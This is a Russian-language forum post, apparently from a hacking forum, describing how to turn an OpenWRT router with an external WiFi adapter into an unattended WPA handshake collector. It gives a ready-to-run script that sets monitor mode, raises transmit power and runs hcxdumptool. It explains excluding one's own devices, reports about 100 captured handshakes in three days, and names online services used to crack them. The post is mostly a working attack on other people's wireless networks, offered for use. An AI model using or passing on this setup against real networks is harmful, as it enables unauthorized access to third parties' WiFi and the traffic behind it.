Кому интересно, на гитхабе есть неплохой сборник различных утилит для OpenWRT.
Источник: https://forum.antichat.club/threads/429 … st-4538403
Я подключил внешний WiFI адаптер rt2800 к роутеру ZBT WE826-T2 (брал алике, ради 3G/LTE модема). Прошивка OpenWRT есть на 4pda.
Для сбора хендшейков использовал утилиту hcxdumptool, запускал таким скриптом (start.sh):
#!/bin/bash ifconfig rt2800usbM down iwconfig rt2800usbM mode monitor ifconfig rt2800usbM up iwconfig rt2800usbM txpower 30 cd /root/hack d=$(date +%Y-%m-%d_%H-%M-%S) echo "$d" hcxdumptool -o OWRT_$d.pcapng -i rt2800usbM --enable_status 15 --filtermode=1 --filterlist_ap=filter.txt exit
filter.txt - список МАСов, которые не нужно перехватывать, к примеру уже перехваченные или от своих устройств. Формат:
002067fdbd31 # комментарий
На выходе получаем файл вида OWRT_2023-12-25_10-25-28.pcapng
За три дня работы набралось около 100 хендшейков, при этом роутер свою основную работу по маршрутизации и раздаче вайфай продолжал выполнять.
Для расшифровки использую
https://wpa-sec.stanev.org и https://www.onlinehashcrack.com
--------
Сборник от adde88, если что, содержит пакеты, собранные под конкретные архитектуру процессора и версию openwrt.
в общем случае эти утилиты надо собирать самому из исходников в buildroot под свою систему.
https://github.com/adde88/openwrt-useful-tools-src
хотя конкретно hcxdumptool и hcxtools есть в репозитории openwrt, и их можно просто скачать оттуда.